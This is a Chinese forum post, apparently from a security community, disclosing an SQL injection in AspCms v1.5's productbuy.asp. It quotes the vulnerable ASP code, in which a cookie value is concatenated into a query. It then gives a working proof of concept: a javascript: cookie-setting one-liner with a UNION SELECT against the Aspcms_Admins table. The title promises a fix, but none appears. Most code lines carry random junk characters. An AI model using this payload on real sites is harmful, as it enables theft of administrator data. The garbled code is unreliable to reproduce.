AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：
- Y5 k$ g9 Y3 O- e( E3 V( h
<%
$ B- |  s! k- O0 }! `5 @2 c
3 I5 Y1 h/ Q- a$ l9 z" {if action = "buy" then

2 r8 z( w2 y( F1 R        addOrder()

  V8 h4 |" j4 Q5 s, b* n  Q: kelse
& z7 a4 s3 ]/ g
        echoContent()

end if

( [! i' Q) d7 W# N0 p% K, P, E

4 O( B+ Y1 J, U' D5 o3 w6 k……略过

2 d$ X3 ~8 _& |& F) N7 a2 b) Z

Sub echoContent()
( C0 X; K+ T  o
; x! |! M8 X$ u% d        dim id
8 @7 w2 q. ]2 d4 C# ~
        id=getForm("id","get")

        

- l* D1 S$ N% v5 J        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

        
& v/ A  y, z+ W  F/ ~! L
# S# B8 a, H4 j) b        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
* c& w# U9 k' W* g8 t
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
2 c- D7 ]% x( T$ ~, ^
# w6 ^" a5 w$ |9 x: t        Dim templatePath,tempStr

: k- o) v, R! R; I* `6 E# U% m' x        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
- I% H  r2 F9 B% V


        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

        selectproduct=rsObj(0)
$ |5 \3 r9 A" b% R, C1 B
* w! E" S# o; H/ r9 k/ y$ {, e, D        
, E) A4 U; B- P  w  T1 `8 j
1 l9 e5 z" `9 z5 [! q. f# q        Dim linkman,gender,phone,mobile,email,qq,address,postcode
0 S0 N# P/ o- Q8 w0 b0 z
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

        if rCookie("loginstatus")=1 then  
( ~, ?; @) U/ q' n' Y& h; E
# g  N( X; O# c: M3 Y. k' p, w* V                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
4 ]; I: |) A: d7 A6 A1 `8 d) J
0 u9 L7 ~% ?* j) h$ E. N                linkman=rsObj("truename")

                gender=rsObj("gender")

                phone=rsObj("phone")
9 E4 _- W; G# M1 u
  M. H& d6 O: N# u5 o: K                mobile=rsObj("mobile")

5 h7 P- F1 y# [9 g                email=rsObj("email")

                qq=rsObj("qq")

                address=rsObj("address")
- [8 M/ f; ?& _! l6 t$ v
                postcode=rsObj("postcode")

- P2 x  j" W7 m+ g3 b0 f        else
* N8 e' Q8 x- |6 S* W, ^
( p- R/ t+ C: ]  J! ~# M0 R7 F                gender=1

3 h( T* h) v& q/ L  p( r! |, o: T        end if

        rsObj.close()

+ O: b1 q7 t8 m9 W               
0 }& E, F" r: |- r7 G2 l; R: l$ l
        with templateObj

1 h8 c0 Q0 V8 R  D: ~                .content=loadFile(templatePath)        

                .parseHtml()

& d4 E  k5 O- t6 g! d8 t3 t                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

0 j1 Q$ g, w8 Q& L0 U                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

                .content=replaceStr(.content,"[aspcms:gender]",gender)               
1 `' _! p% d2 Y+ ?
. H: F" c5 m. X; p  w% g                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
2 A4 t7 d: y# s, `; C: q  U
                .content=replaceStr(.content,"[aspcms:email]",email)                        
+ O; i$ |' j  Q+ E9 U- P! a6 b7 U( Q
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

4 }0 K# b6 @  P: S; t, U) r2 |: {                .content=replaceStr(.content,"[aspcms:address]",address)                        

                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
5 V9 ]& ~  }" ~: z' m; V! ?0 y) z
6 L6 H$ E% f) {% a0 @% {$ x! F' l                .parseCommon()                 
. K& ~! {: @1 s, p' s- D
                echo .content

. P# F7 X! X( Z/ V3 A9 S& t  n        end with

( ^# U7 v, e0 m. }        set templateobj =nothing : terminateAllObjects
# q, @4 e" j3 \( J+ Z
End Sub
: M% ^8 ]4 k6 y) @$ T漏洞很明显，没啥好说的
poc：

$ c7 i+ I  R2 K" E) V& q! djavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
2 o/ a" p$ q$ V9 D+ G2 u4 K
4 _* I  |* \8 {+ L/ J# F  g+ [